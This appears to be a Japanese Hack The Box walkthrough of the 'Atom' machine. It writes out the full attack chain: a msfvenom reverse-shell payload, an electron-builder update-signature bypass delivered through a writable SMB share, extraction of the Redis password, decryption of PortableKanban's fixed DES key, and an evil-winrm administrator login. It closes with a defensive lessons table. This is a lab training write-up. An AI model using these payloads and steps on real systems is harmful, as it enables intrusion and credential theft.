Hack The BoxのWriteup（Atom）[Medium]

PHASE 1

偵察 (Reconnaissance)
1. 全ポートスキャン
SMB guest アクセスで書込可能な Software_Updates 共有を発見
1. 共有一覧とアクセス権確認
2. UAT_Testing_Procedures.pdf の内容確認
electron-builder 署名検証バイパスの準備
SMB経由でペイロード配置 → 内部QAプロセスによる自動実行 → user.txt
Redis requirepass 窃取 → PortableKanban 固定DES鍵で Administrator パスワード復号
evil-winrm で Administrator ログイン → root.txt
1. WinRM (5985) へ復号したパスワードでログイン
2. root.txt 取得
攻略サマリー & 教訓

偵察 (Reconnaissance)

全ポートスキャン

BASH

nmap -Pn -sV -sC -T4 --max-retries 2 -p- --min-rate 2000 10.129.54.186

RESULT

PORT     STATE SERVICE      VERSION
80/tcp   open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: Heed Solutions
135/tcp  open  msrpc        Microsoft Windows RPC
443/tcp  open  ssl/http     Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
445/tcp  open  microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open  wsman
6379/tcp open  redis        Redis key-value store
7680/tcp open  pando-pub?

Host script results:
| smb-security-mode:
|   account_used: guest
|_  message_signing: disabled (dangerous, but default)
Computer name: ATOM

🚨

重要発見: SMBが guest アクセス可能で message signing disabled。 6379(Redis)・5985(WinRM) も外部公開されており、認証情報さえ入手できれば横展開・昇格の経路になる。

PHASE 2

SMB guest アクセスで書込可能な Software_Updates 共有を発見

共有一覧とアクセス権確認

BASH

smbclient -N -L //10.129.54.186/
smbclient -N //10.129.54.186/Software_Updates -c "ls; cd client1; ls; cd ../client2; ls; cd ../client3; ls"

RESULT

Sharename        Type
ADMIN$           Disk
C$               Disk
Software_Updates Disk   ← guest で READ/WRITE 可能

Software_Updates/
├── client1/  (書込可能)
├── client2/  (書込可能)
├── client3/  (書込可能)
└── UAT_Testing_Procedures.pdf

UAT_Testing_Procedures.pdf の内容確認

BASH

smbclient -N //10.129.54.186/Software_Updates -c "get UAT_Testing_Procedures.pdf"
pdftotext UAT_Testing_Procedures.pdf -

ℹ️

重要な手掛かり: client1/client2/client3 フォルダに更新一式(実行ファイル + マニフェスト)を置くと、社内の QA プロセス (Heed アプリ) が自動的に取り込んでインストール/実行する運用であることが判明。この「内部プロセスによる自動取り込み」こそが本マシンの核心。

PHASE 3

electron-builder 署名検証バイパスの準備

Heed アプリの正体 — Electron + electron-builder 自動更新

NOTE

Heed Solutions のブログ (80/443) から、社内ツール "Heed" が Electron 製アプリであり
electron-builder の自動アップデート機構 (latest.yml マニフェスト + Authenticode 署名検証)
を使っていることが判明。

electron-builder の署名検証には既知の脆弱性がある (doyensec 社のブログ記事
"Signature Validation Bypass Leading to RCE In Electron" で報告済み):
ダウンロードしたファイルの検証パスと実際に実行されるパスの間に差異があり、
ファイル名の先頭にシングルクォート (') を付与すると Authenticode 署名検証が
バイパスされ、任意の実行ファイルを "署名済み" として実行させられる。

msfvenom でリバースシェルペイロードを生成

BASH

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.201 LPORT=4444 \
  -f exe -o shell.exe
cp shell.exe "s'hell.exe"   # 先頭にシングルクォートを付与 (署名検証バイパスの鍵)

RESULT

Payload size: 7680 bytes

latest.yml マニフェスト作成 (SHA512 + バージョン必須条件)

BASH

sha512sum "s'hell.exe" | awk '{print $1}' | xxd -r -p | base64 -w0

PYTHON (latest.yml 生成)

yml = f"""version: 1.0.1
files:
  - url: s'hell.exe
    sha512: {sha512_b64}
    size: {size}
path: s'hell.exe
sha512: {sha512_b64}
"""

🚨

必須条件 (ハマりどころ): version フィールドは ターゲット上に現在インストールされているバージョンより高い値でなければ electron-builder は更新を無視する。初回は 1.0.1 (デフォルト想定 1.0.0 より高い値) で通ったが、同じターゲットに再試行する場合は毎回さらに高いバージョン番号 (1.0.2 → 1.0.3 …) に上げる必要がある (既に適用された更新と同じ番号では二度と更新をトリガーできない)。

PHASE 4

SMB経由でペイロード配置 → 内部QAプロセスによる自動実行 → user.txt

リスナー起動

BASH

nc -lnvp 4444

client1/client2/client3 全フォルダへ同時配置

BASH

for c in client1 client2 client3; do
  smbclient -N //10.129.54.186/Software_Updates \
    -c "cd $c; put s'hell.exe s'hell.exe; put latest.yml latest.yml"
done

⚠️

ハマりどころ: 内部 QA プロセスがどのフォルダを実際に監視しているか (あるいは全フォルダ共通の周期実行なのか) は外部から分からないため、 3フォルダ全てへ同時に配置するのが最も確実。1フォルダのみへの配置では取り込みタイミングを外して反応が得られないことがあった。

内部QAプロセスの取り込みを待機 (周期的、即時ではない)

NOTE

内部の QA プロセスはファイル設置後即座に反応するわけではなく、
一定の周期でチェックしているとみられる (実測で数十秒～数分のばらつきを確認)。
1回のリスナー待機時間は最低でも180秒、確実性を高めるなら300秒以上を推奨。
反応が無ければ time.sleep せず一旦諦めて latest.yml の version を上げて再配置する。

RESULT (nc リスナー側)

listening on [any] 4444 ...
connect to [10.10.15.201] from (UNKNOWN) [10.129.54.186] 64322
Microsoft Windows [Version 10.0.19042.928]

C:\WINDOWS\system32>whoami
atom\jason

✅

シェル取得成功! electron-builder の署名検証バイパスにより、内部QAプロセスが偽装ペイロードを “正規の署名済みアップデート” として実行した。

user.txt 取得

BASH

C:\WINDOWS\system32>type C:\Users\jason\Desktop\user.txt

RESULT

b9afaa16aa50a5f1b687eaaa8e553e23

user.txt — atom\jason

b9afaa16aa50a5f1b687eaaa8e553e23

PHASE 5

Redis requirepass 窃取 → PortableKanban 固定DES鍵で Administrator パスワード復号

シェルから Redis の設定ファイルを読み取り requirepass を窃取

BASH (リバースシェル内)

C:\WINDOWS\system32>type "C:\Program Files\Redis\redis.windows-service.conf" | findstr requirepass

RESULT

requirepass kidvscat_yes_kidvscat
# If the master is password protected (using the "requirepass" configuration
# requirepass foobared

ℹ️

findstr はコメント行に含まれる “requirepass” という単語にも部分一致するため 3行返ってくるが、先頭行が実際の設定値。requirepass\s+(\S+) の正規表現で行頭マッチを取れば確実に本物の値だけを抽出できる。

Redis へ認証しキーを列挙

BASH

redis-cli -h 10.129.54.186 -a 'kidvscat_yes_kidvscat' --no-auth-warning keys '*'

RESULT

pk:ids:MetaDataClass
pk:urn:metadataclass:ffffffff-ffff-ffff-ffff-ffffffffffff
pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0
pk:ids:User

ℹ️

pk:urn:user:* は PortableKanban (Redis をバックエンドに使うカンバンボードアプリ) のユーザーレコード。この中に Administrator の暗号化パスワードが含まれている。

ユーザーレコードを取得し EncryptedPassword を抽出

BASH

redis-cli -h 10.129.54.186 -a 'kidvscat_yes_kidvscat' --no-auth-warning \
  get "pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0"

RESULT

{"Id":"e8e29158d70d44b1a1ba4949d52790a0","Name":"Administrator","Initials":"","Email":"",
"EncryptedPassword":"Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi","Role":"Admin",
"Inactive":false,"TimeStamp":637530169606440253}

PortableKanban の固定 DES 鍵で復号 (公知の脆弱性)

PYTHON

from Crypto.Cipher import DES
from Crypto.Util.Padding import unpad
import base64

key = b"7ly6UznJ"   # PortableKanban の固定鍵 (全インスタンス共通、公開解析記事あり)
iv  = b"XuVUm5fR"   # 固定IV
ciphertext = base64.b64decode("Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi")

cipher = DES.new(key, DES.MODE_CBC, iv)
raw = cipher.decrypt(ciphertext)
plain = unpad(raw, DES.block_size)
print(plain.decode("utf-8"))

RESULT

kidvscat_admin_@123

🚨

重大な脆弱性: PortableKanban はパスワード暗号化に 全インスタンス共通の固定 DES 鍵/IV を使用しており、鍵自体はアプリのバイナリ/公開解析記事から既知。DESの64bit鍵長自体も現代基準では脆弱だが、それ以前に鍵が固定でハードコードされている点が致命的。

PHASE 6

evil-winrm で Administrator ログイン → root.txt

WinRM (5985) へ復号したパスワードでログイン

BASH

evil-winrm -i 10.129.54.186 -u administrator -p 'kidvscat_admin_@123'

RESULT

Evil-WinRM shell v3.9
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

✅

Administrator ログイン成功。 パスワードの使い回し(PortableKanban内部アプリ用パスワード = Windowsログインパスワード)が根本原因。

root.txt 取得

BASH

*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt

RESULT

cdfe6cf86e943c21af0f42a153bd15a3

root.txt — Administrator@atom

cdfe6cf86e943c21af0f42a153bd15a3

SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — atom\jason

b9afaa16aa50a5f1b687eaaa8e553e23

root.txt — Administrator@atom

cdfe6cf86e943c21af0f42a153bd15a3

使用した脆弱性

脆弱性	対象	影響	深刻度	利用方法
SMB guest 書込可能共有	Software_Updates 共有	任意ファイルの配置	Medium	認証なしで client1/2/3 フォルダへ任意ファイルを書き込める
electron-builder 署名検証バイパス	Heed アプリ (Electron 製自動更新)	リモートコード実行 (jason 権限)	Critical	ファイル名先頭のシングルクォートで Authenticode 署名検証をバイパスし偽装バイナリを実行させる
PortableKanban 固定 DES 鍵	PortableKanban (Redis バックエンド)	Administrator パスワード復号	High	公開済みの固定鍵/IVでEncryptedPasswordフィールドをDES-CBC復号
パスワード使い回し	PortableKanban アプリ / Windows OS	権限昇格 (jason → Administrator)	Medium	復号したアプリ内パスワードがそのままWindowsログインパスワードとして通用

攻撃チェーン全体の流れ

#	フェーズ	技術	取得情報
1	偵察	nmap 全ポートスキャン	80/135/443/445/5985/6379/7680、”Heed Solutions”検出
2	SMB調査	guestアクセス + PDF精読	Software_Updates書込共有 + 内部QAプロセスの取り込み仕様
3	ペイロード準備	electron-builder署名バイパス手法 + msfvenom	s’hell.exe + latest.yml (バージョン要高値)
4	エクスプロイト	SMB配置 → 内部QAプロセス自動実行	user.txt 取得(atom\jason シェル)
5	横展開準備	Redis設定窃取 + PortableKanban DES復号	Administrator平文パスワード
6	権限昇格	evil-winrm Administrator ログイン	root.txt 取得

学んだ教訓 & 防御策

問題点	防御策
SMB共有がguestユーザーに書込許可されている	共有アクセス権を最小限にし、guestアクセスを無効化する。書込が必要な共有は認証必須にする。
内部QAプロセスが署名検証をバイパスされた偽装アップデートを無条件に実行	electron-builderを既知の脆弱性が修正されたバージョンへアップデートする。自動実行プロセスは配置元の共有への書込権限を最小化する。
PortableKanbanがパスワード暗号化に全インスタイス共通の固定DES鍵を使用	インスタンス固有のランダムな鍵を使用し、可能であればAES等の現代的な暗号方式に移行する。
アプリケーション内パスワードとOSログインパスワードが同一(使い回し)	アプリケーションアカウントとOSアカウントでパスワードを分離する。
Redisがネットワーク全体に公開され、requirepassが平文設定ファイルに保存	Redisはlocalhostのみにバインドし、ファイアウォールで外部アクセスを遮断する。設定ファイルのアクセス権も最小化する。